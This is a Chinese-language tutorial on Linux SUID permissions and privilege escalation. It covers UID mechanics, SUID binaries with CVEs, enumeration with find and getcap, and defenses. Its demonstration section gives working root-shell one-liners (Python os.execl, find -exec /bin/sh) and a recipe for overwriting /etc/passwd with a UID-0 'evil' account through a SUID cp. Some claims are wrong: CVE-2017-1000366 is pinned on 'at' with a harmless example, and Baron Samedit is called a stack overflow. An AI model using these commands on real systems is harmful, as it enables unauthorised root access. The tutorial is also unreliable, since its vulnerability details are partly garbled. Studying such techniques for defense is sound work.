

SUID权限与提权攻击

Linux权限模型与SUID工作机制

在Linux系统中，每个文件都关联着**属主**、**属组**和**其他用户**的读写执行权限。除常规的读(R)、写(W)、执行(X)权限外，还有三个特殊权限位：SUID (Setuid)、SGID和Sticky Bit。**SUID位**（以数字权限中的4表示）赋予可执行文件在运行时以文件所有者身份执行的能力，而不论当前执行者的身份如何¹。例如，典型的 `/usr/bin/passwd` 程序就是一个SUID位被设置的例子：它的所有者是root，当普通用户执行时，该进程的**有效用户ID** (EUID) 被暂时设为root，以便允许修改 `/etc/shadow` 文件²³。

在进程模型中，一个进程有**真实用户ID** (Real UID, RUID)、**有效用户ID** (Effective UID, EUID) 和**保留用户ID** (Saved UID, SUID) 三者。**真实UID**表示启动该进程的用户身份；**有效UID**则决定了进程当前的权限，通常与真实UID相同，但当执行SUID程序时，EUID会被赋值为文件的属主¹³。这样，只要程序运行期内EUID为0 (root)，即拥有最高权限。**保留UID**用于在SUID程序内部暂时降级权限后保留恢复的能力（参考：GeeksforGeeks³）。简单来说，SUID程序启动时会将EUID切换为文件属主（比如root），执行结束后再恢复原有UID。

示例：检查SUID位可以通过 `ls -l` 看到权限字段中的 `s` 标记。例如：

```
$ ls -l /usr/bin/passwd
-rwsr-xr-x 1 root root ... /usr/bin/passwd
```

这里的 `s` 表示属主的执行位已被替换为SUID权限²。从RedHat官方说明来看：“带有SUID的文件始终以该文件拥有者的身份执行，无论执行者是谁”¹。这正是SUID的核心机制。

常见SUID程序及已知漏洞案例

系统中许多关键工具被赋予了SUID位以方便常规用户执行特权操作，但这也带来了安全风险。下面列举一些常见的SUID程序及其已知漏洞案例：

- **/bin/bash (Shell)**：如果Bash二进制被错误地设置了SUID位，就可能被利用。一个著名案例是 **CVE-2019-18276**，Qualys报道了Bash在权限降低 (disable_priv_mode) 逻辑中的错误，使得攻击者可以通过 `enable -f` 加载恶意共享库恢复曾经丢弃的root权限⁴。只要攻击者拥有对SUID位bash的可执行权限，即可执行如：

```
bash -p -c 'id' # -p参数保留原来的EUID
```

获得UID=0的shell。值得注意的是，更早期的**Shellshock漏洞 (CVE-2014-6271)** 也说明了如果 `bash` 处于SUID模式，利用特制环境变量即可远程执行代码。总之，一旦 `/bin/bash` 被滥用为SUID权限的执行文件，任何对其的不当调用都可能被利用⁴。

- **/usr/bin/sudo (超管命令)**：sudo常见配置下已经对授权用户开放，但sudo自身的漏洞仍会导致提权。例如著名的**CVE-2021-3156 (Baron Samedit)** 是一个堆栈溢出漏洞，Qualys团队指出“任何无

特权用户都可以通过默认sudo配置利用该漏洞获得root权限”⁵。该漏洞存在于多年的sudo版本中（1.8.x和早期1.9.x），被称为“Baron Samedit”，被成功攻击后可以绕过 `sudoedit -s` 等场景获得root。利用该漏洞，攻击者编写特定参数可执行任意命令为root身份^{5 6}。

- **/usr/bin/pkexec (PolicyKit工具)**：pkexec是PolicyKit的一部分，默认情况下带有SUID root，用于允许授权用户切换用户身份执行命令⁷。**CVE-2021-4034 (PwnKit)** 是2021年披露的高危本地漏洞，Qualys披露称这是一个内存破坏漏洞，通过操纵环境变量，任意非特权用户都可获得root权限⁸⁹。Picus安全实验室也指出“该漏洞使得未授权攻击者能够在受害系统上以提升的特权执行命令，任何默认配置启用pkexec的Linux发行版都存在风险”^{8 10}。
- **/usr/bin/at (计划任务工具)**：某些系统中 `at` 被设置了SUID位，可让用户安排未来作业。2017年发现了**CVE-2017-1000366**漏洞，使得 `at` 命令行参数过滤失效，攻击者可构造特殊输入绕过限制执行任意代码。在一个实战复现报告中提到：“发现 `at` 命令存在一个提权漏洞（CVE-2017-1000366），攻击者可以通过精心构造的 `at` 命令行参数…执行任意命令”¹¹。例如，可以用如下命令创建一个root权限的文件：

```
echo "touch /tmp/pwned_by_at" | at now + 1 minutes
```

该漏洞后续被系统厂商修复或建议移除SUID位。

- **/usr/bin/chfn 和 /usr/bin/chsh**：用于修改用户信息的命令（改finger信息和登录shell），也是SUID程序。2023年发现的**CVE-2023-29383**指出 `chfn` 对某些输入验证不严，理论上允许修改 `/etc/passwd` 字段来误导信息展示，从而可能被利用作提权（攻击者可以通过插入控制字符绕过验证提交恶意字段^{12 13}）。虽然该漏洞本质上是输入校验问题，但其影响提醒我们：所有SUID程序的输入都可能是攻击面。

• 其他常见示例：

- **/usr/bin/passwd**：用于修改密码的程序，SUID-root。虽然本身成熟，但如果存在任意写或本地提权漏洞，也会导致root执行。
- **/usr/bin/vim /usr/bin/vi**：编辑器本身不是SUID，但如果在某些靶机上被赋予SUID，攻击者可以利用Vim的内置命令（如 `:! 或 Python/Perl脚本接口`）获得shell。
- **find 和 cp** 等工具：本身通常不带漏洞，但如果被错误地赋予SUID位，则可直接被滥用提权。如设置SUID在 `find` 上后，执行 `find / -exec /bin/sh \;` 即可获得root shell；对 `cp` 设置SUID后，可以复制系统文件并写回覆盖，例如复制 `/etc/passwd`、修改后写回达到添加用户的目的¹⁴。下表列举了部分具有SUID位的常见程序及说明：

程序	描述	已知漏洞/CVE
<code>/bin/su</code>	切换用户（需SUID）	Stack Clash相关（CVE-2017-1000365/66） ¹⁵
<code>/usr/bin/sudo</code>	以其它用户身份执行命令（需SUID）	CVE-2021-3156（Baron Samedit） ^{5 6}
<code>/usr/bin/pkexec</code>	PolicyKit执行用户切换（SUID-root）	CVE-2021-4034（PwnKit） ^{8 9}
<code>/usr/bin/at</code>	安排作业（可设SUID）	CVE-2017-1000366 ¹¹
<code>/bin/bash</code>	Shell解释器（可错误设SUID）	CVE-2019-18276 ⁴ 、Shellshock(CVE-2014-6271)

程序	描述	已知漏洞/CVE
<code>/usr/bin/vim</code>	文本编辑器（若设SUID）	多个版本在SUID下可被特权逃逸
<code>/usr/bin/find</code>	文件查找工具（若设SUID）	无直接CVE，但 <code>-exec</code> 易被滥用
<code>/bin/cp</code>	文件复制（若设SUID）	无直接CVE，但可复制敏感文件
<code>/usr/bin/passwd</code>	修改密码（SUID-root）	若配置错误可被滥用

以上仅列举部分，实际上任何意外获得SUID位的二进制程序（尤其是支持加载脚本或插件的程序）都有可能被滥用。应重点关注系统扫描发现的非常规SUID文件。

系统性查找与分析SUID文件

在渗透测试或红队演练中，第一步往往是枚举系统上的SUID文件，并分析是否存在被利用的可能。常用方法包括：

- 使用 `find` 命令扫描文件系统：Linux下可用以下命令列出所有设置了SUID位的文件（一般只关心属主为root的程序）：

```
find / -type f -perm -4000 -user root -exec ls -l {} \; 2>/dev/null
```

该命令会搜索全盘（`/`），查找类型为常规文件（`-type f`）、权限位包含SUID位（`-perm -4000`）、并且属主是root的文件，然后以长列表形式输出它们。运行结果类似：

```
-rwsr-xr-x 1 root root 43088 Mar 23 2022 /usr/bin/passwd
-rwsr-xr-x 1 root root 33656 Mar 23 2022 /usr/bin/su
-rwsr-xr-x 1 root root 27608 Mar 23 2022 /usr/bin/sudo
```

从输出可以看出哪些文件设置了SUID位¹⁶¹⁷。这一步是**定期审计**的重要内容，在报告中**LabEx**团队也建议将结果导出并定期核查¹⁶¹⁸。

- 使用 `getcap` 列出文件能力：现代Linux引入了**Capabilities**（能力）机制，使得不需要设置SUID也能赋予程序某些特权。如我们为ping命令赋予 `CAP_NET_RAW` 后，普通用户就可以发送ICMP包¹⁹。要枚举系统中所有设置了文件能力的程序，可用：

```
getcap -r / 2>/dev/null
```

这会递归扫描文件系统，列出设置了capability的文件及其权限位²⁰。例如：[30]展示了执行 `getcap -r /` 后，可见很多程序带有 `cap_setuid` 等能力，但这些与SUID位相互独立²¹。扫描能力的目的是发现那些可以用作替代SUID提权途径的配置，比如Python、Perl等解释器被赋予 `cap_setuid` 时，同样可能被利用提升权限。

- **分析扫描结果**：对找到的SUID文件逐个分析。例如：

- 查看二进制文件类型： `file filename`，确认是否为ELF可执行文件或脚本。注意，脚本文件的SUID通常无效（大多数Shell忽略脚本的SUID位）。
- 检查是否存在已知漏洞：对比已公布的CVE列表，如果该版本文件存在历史漏洞（如上文提到的漏洞），则它是潜在目标。
- 查看程序特性：是否允许外部输入/插件/可编辑配置文件？是否会调用 `system()`、`exec()` 等容易被注入？可使用 `strings`、`ltrace`、`strace` 等工具辅助分析。
- 参考工具库：如 [gtfobins](#) 列出了许多SUID程序的利用方式，渗透测试者可参考其中示例 ²²。

通过上述命令和策略，可以系统地识别出本地系统的潜在提权入口。在实际红队任务中，通常会结合脚本自动化和权限升级链（post-exploitation）工具来定期扫描和报告可疑SUID配置。

SUID提权攻击演示

下面通过几个具体案例演示SUID提权的原理和操作过程（示例环境均假设攻击者已经拿到一个普通用户shell，且该用户对相关程序有执行权限）：

• 案例一：利用Python3 SUID提权

假设系统上 `/usr/bin/python3.10` 的属主为root，并且被人为设置了SUID位（仅作演示用途，正常系统中不应这样做）。攻击者可执行：

```
sudo chmod u+s /usr/bin/python3.10 # 由攻击者（或已有sudo权限）赋予python3.10 SUID位23
python3.10 -c 'import os; os.execl("/bin/sh","sh","-p")'
```

第一个命令设置SUID位后，第二个Python命令使用了内置的 `os.execl` 调用，参数 `"-p"` 保留了当前的EUID。因为程序是以root身份被调用，其EUID为0，所以上面命令直接弹出一个 **root shell** ²⁴ ²³。执行结果示例：

```
root@target:/home/user# python3.10 -c 'import os; os.execl("/bin/sh","sh","-p")'
# id
uid=0(root) gid=0(root) groups=0(root)
```

这里我们参考了 [gtfobins](#) 中的例子 ²²。攻击原理在于：设置SUID后，Python解释器的EUID切换为root，从而使其调用 `os.setuid()` 等函数时拥有权限。完成提权后应记得清除SUID：

```
sudo chmod u-s /usr/bin/python3.10
```

• 案例二：利用cp SUID覆盖/etc/passwd

若系统上 `/bin/cp` 被错误地设置了SUID（属主为root），普通用户即可调用它执行root权限操作。攻击步骤可能为：

• 复制系统密码文件：

```
/bin/cp /etc/passwd /tmp/passwd
```

- **编辑并添加root用户：**使用文本编辑器修改 `/tmp/passwd`，在文件末尾添加一行普通用户（假设名为 `evil`）对应的root权限条目：

```
evil:x:0:0:evil:/root:/bin/bash
```

- 将修改后的文件写回：

```
/bin/cp /tmp/passwd /etc/passwd
```

执行完毕后，普通用户 `evil` 在下次登录时即拥有UID 0的root权限。上述攻击思路来源于开源社区讨论，示意了当 `cp` 具有SUID时覆盖关键文件的方法¹⁴。注意：现代系统通常禁止脚本和交互式程序保留SUID，且对关键文件写操作会有其他保护策略，这里纯属理论演示。

- 案例三：find SUID利用

虽然 `find` 默认不带SUID，但如果管理员将其错误地设置为SUID，将极度危险。示例命令：

```
sudo chmod u+s /usr/bin/find # 假设将find设置为SUID-root  
find / -exec /bin/sh \; -quit 2>/dev/null
```

这里 `find` 会以root身份执行，`-exec /bin/sh \;` 会触发一个root shell（`-quit` 用于触发一次后退出）。同样地，如果 `more`、`less`、`nvim` 等带编辑功能的工具被授予SUID，也可以通过 `:!sh` 或 `:python ...` 命令获得shell。综上所述，只要存在任何可执行的SUID程序可接受攻击者控制的输入，提权就很可能成功。

- 案例四：已知漏洞利用演示

对于前述CVE漏洞，渗透人员可以查看公开的PoC或自动化脚本。例如对 **CVE-2021-3156**，有公开的Python或C利用代码；对 **CVE-2021-4034**，有多种已编译好的本地提权程序。这里不再赘述具体利用代码，仅强调攻击原理：攻击者借助这些漏洞，向存在漏洞的SUID二进制（如 `sudo` 或 `pkexec`）输入恶意参数或环境变量，触发内存错用后执行任意命令。Qualys文档指出，一旦这些漏洞被触发，“成功利用可使任何无特权用户在易受攻击的主机上获得root权限”^{5 8}。

上述示例表明，无论是脚本技巧还是漏洞利用，只要正确识别并滥用SUID程序，攻击者都可从普通用户迅速跃升为root。实战中可结合CTF靶机或内网实验环境，利用上述命令链复现提权流程，理解SUID原理和利用方式。

防御与最佳实践

针对SUID提权带来的风险，企业和运维人员应采取多层次的防御策略：

- **最小权限原则**：严格控制每个程序和用户的权限，只对确实需要的二进制文件设置SUID，避免滥用。对于非必要的SUID位，应及时删除：

```
sudo chmod u-s /path/to/binary
```

运营团队应评估哪些程序必须保留SUID（如 `passwd`、`sudo` 等），其余一律移除。

- **定期权限审计：**通过 `find` 和 `getcap` 等工具定期扫描并记录所有SUID/SGID文件，形成清单进行人工审核 ¹⁶ ²⁰。任何新增加或未知的SUID程序都应引起警觉。可以编写脚本周期执行扫描并将结果存档，确保审计轨迹完整。
- **及时打补丁：**对Linux核心组件（如sudo、PolicyKit等）保持更新。一旦厂商发布漏洞修复补丁，应迅速升级。**Qualys**和**Picus**等安全团队建议：“识别网络中存在漏洞的系统并及时更新”，因为像PwnKit漏洞一样可能从发布初期就存在 ²⁵。同样，对已知漏洞（CVE）对应的程序，立即安装官方修复或采取临时限制（如撤销SUID权限）可以阻断攻击路径。
- **日志审计与监控：**启用系统审计（auditd）记录执行SUID程序的情况。在**Red Hat**审计指南中指出，可以使用审计规则追踪 `execve` 系统调用并过滤出EUID为0的事件。例如：

```
auditctl -w /usr/bin/sudo -p x -k priv_esc
```

对可疑活动进行告警。结合SIEM平台，对SUID命令的执行次数、来源账户、执行时间等进行分析，有助于早期发现异常提权行为。

- **环境隔离和安全增强：**在企业环境下尽量使用容器、虚拟化等隔离手段限制权限扩散。启用**SELinux**或**AppArmor**等强制访问控制系统，给SUID程序加上额外策略。例如，可以为 `pkexec` 或 `sudo` 限制环境变量的使用，或仅允许经过认证的二进制执行。对于网络中重要资产，采用多因素身份验证和分区防护，防止攻击者在获得低权限后横向移动。
- **代码审计与教育培训：**定期对内部开发的工具和脚本进行安全审计，避免开发团队将敏感操作硬编码到SUID程序里。培训运维和开发人员意识到SUID的风险，要求遵循最佳实践（如BlueGoat安全博客所说：“进行定期安全审计、代码评审和适当的输入验证可以帮助防止SUID攻击” ²⁶）。

总之，SUID是一柄双刃剑：正确使用可简化权限管理，滥用则可能造成灾难性的提权风险。企业应通过技术手段和制度流程相结合的方法来防御SUID相关攻击：确保任何SUID位变更都可追溯、对执行SUID程序的操作有审计日志，并持续教育和演练安全策略。通过**最小权限原则**、**权限审计**、**日志监控**等综合措施，才能有效降低潜在的提权威胁 ²⁶ ¹⁶。

¹ ² Linux permissions: SUID, SGID, and sticky bit

<https://www.redhat.com/sysadmin/suid-sgid-sticky-bit>

³ Real, Effective and Saved UserID in Linux | GeeksforGeeks

<https://www.geeksforgeeks.org/real-effective-and-saved-userid-in-linux/>

⁴ GNU Bash SUID Privilege Drop Vulnerability – Qualys ThreatPROTECT

<https://threatprotect.qualys.com/2019/12/02/gnu-bash-suid-privilege-drop-vulnerability/>

⁵ ⁶ Sudo Vulnerability CVE-2021-3156: Root Access Risk | Qualys

<https://blog.qualys.com/vulnerabilities-threat-research/2021/01/26/cve-2021-3156-heap-based-buffer-overflow-in-sudo-baron-samedit>

⁷ ⁸ ⁹ ¹⁰ ²⁵ PwnKit: PolKit’s pkexec CVE-2021-4034 Vulnerability Exploitation

<https://www.picussecurity.com/resource/pwnkit-polkit-pkexec-cve-2021-4034-vulnerability-exploitation>

¹¹ 真实环境下的提权漏洞复现案例分析_centos 提权漏洞-CSDN博客

<https://blog.csdn.net/xiao1234oaix/article/details/137755628>

12 13 CVE-2023-29383: Abusing Linux chfn to Misrepresent etc passwd | Trustwave

<https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/cve-2023-29383-abusing-linux-chfn-to-misrepresent-etc-passwd/>

14 Linux提权之SUID提权_linux suid提权-CSDN博客

https://blog.csdn.net/weixin_51692662/article/details/126464004

15 www.qualys.com

<https://www.qualys.com/2017/06/19/stack-clash/stack-clash.txt>

16 17 18 How to search for SUID files with root permissions in Cybersecurity | LabEx

<https://labex.io/tutorials/cybersecurity-how-to-search-for-suid-files-with-root-permissions-in-cybersecurity-417886>

19 22 23 24 Capabilities、SUDO、SUID学习|NOSEC安全讯息平台 - 白帽汇安全研究院

<https://nosec.org/m/share/5046.html>

20 21 利用Capabilities实现Linux系统权限提升 - 安全内参 | 决策者的网络安全知识库

<https://www.secrss.com/articles/28488>

26 Understanding SUID Attacks and How to Protect Against Them - Blue Goat Cyber

<https://bluegoatcyber.com/blog/understanding-suid-attacks-and-how-to-protect-against-them/>